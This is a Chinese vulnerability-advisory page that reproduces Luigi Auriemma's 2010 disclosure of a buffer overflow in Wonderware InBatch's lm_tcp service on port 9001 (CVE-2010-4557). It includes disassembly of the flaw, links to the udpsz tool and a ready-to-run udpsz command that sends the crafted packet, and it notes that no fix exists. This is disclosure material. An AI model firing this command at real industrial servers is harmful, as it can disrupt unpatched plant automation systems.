发布日期：2010-12-08
更新日期：2010-12-08

受影响系统：

Wonderware InBatch <= 9.0sp1

描述：

---

CVE(CAN) ID: CVE-2010-4557

InBatch是创建批出来的工业自动化软件。

InBatch的 "lm_tcp" 服务内存在边界错误，通过发送到端口9001的特制报文，此漏洞可造成缓冲区溢出。

<*来源：Luigi Auriemma （aluigi@pivx.com）
  
  链接：http://secunia.com/advisories/42528
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Source: http://aluigi.org/adv/inbatch_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  Wonderware InBatch
              http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx
              any other software that uses the lm_tcp server (called
              "Raima Database lockmgr") like Foxboro I/A Batch
Versions:     lm_tcp <= 9.0.0 0248.18.0.0 (InBatch <= 9.0sp1)
Platforms:    Windows, Linux
Bug:          buffer-overflow
Exploitation: remote, versus server
Date:         07 Dec 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


InBatch is a software for the industry automation sector for creating
batch processes.


#######################################################################

======
2) Bug
======


The lm_tcp service listens (manually or automatically during the
launching of "Environment Display/Manager") on port 9001 and is
vulnerable to a buffer overflow during the copying of a string in a
buffer of 150 bytes which is part of a fixed structure.

The overflow (max 19204 chars) allows only to overwrite the two memory
pointers located after the space assigned to the copying of the string
and they are immediately used for two memset(buffer, 0, 2) operations
with the consequent effect of writing a 16bit 0x0000 in an arbitrary
memory location:

  00403E40  |> 8A01               /MOV AL,BYTE PTR DS:[ECX]         ; strcpy
  00403E42  |. 8802               |MOV BYTE PTR DS:[EDX],AL
  00403E44  |. 83C1 01            |ADD ECX,1
  00403E47  |. 83C2 01            |ADD EDX,1
  00403E4A  |. 84C0               |TEST AL,AL
  00403E4C  |.^75 F2              \JNZ SHORT lm_tcp.00403E40
  00403E4E  |. 8B4424 24          MOV EAX,DWORD PTR SS:[ESP+24]
  00403E52  |. 66:8B48 12         MOV CX,WORD PTR DS:[EAX+12]
  00403E56  |. 8B15 48A84000      MOV EDX,DWORD PTR DS:[40A848]
  00403E5C  |. 66:83E9 78         SUB CX,78
  00403E60  |. 66:F7D9            NEG CX
  00403E63  |. 1BC9               SBB ECX,ECX
  00403E65  |. 83E1 0E            AND ECX,0E
  00403E68  |. 83C1 58            ADD ECX,58
  00403E6B  |. 898C16 98000000    MOV DWORD PTR DS:[ESI+EDX+98],ECX
  00403E72  |. A1 78A84000        MOV EAX,DWORD PTR DS:[40A878]
  00403E77  |. 8B0D 48A84000      MOV ECX,DWORD PTR DS:[40A848]
  00403E7D  |. 8B940E 9C000000    MOV EDX,DWORD PTR DS:[ESI+ECX+9C] ; first pointer overwritten
  00403E84  |. 50                 PUSH EAX
  00403E85  |. 52                 PUSH EDX
  00403E86  |. E8 050C0000        CALL lm_tcp.00404A90              ; memset
  00403E8B  |. A1 78A84000        MOV EAX,DWORD PTR DS:[40A878]
  00403E90  |. 8B0D 48A84000      MOV ECX,DWORD PTR DS:[40A848]
  00403E96  |. 8B940E A0000000    MOV EDX,DWORD PTR DS:[ESI+ECX+A0] ; second pointer overwritten
  00403E9D  |. 50                 PUSH EAX
  00403E9E  |. 52                 PUSH EDX
  00403E9F  |. E8 EC0B0000        CALL lm_tcp.00404A90              ; memset


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://www.exploit-db.com/sploits/udpsz.zip

  udpsz -C "00004b14 00000000 00000001 00000000 0001 0000" -b 0x61 -T SERVER 9001 0x4b18


#######################################################################

======
4) Fix
======


No fix.


#######################################################################

建议：

---

厂商补丁：

Wonderware
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx

浏览次数：1708
严重程度：0（网友投票）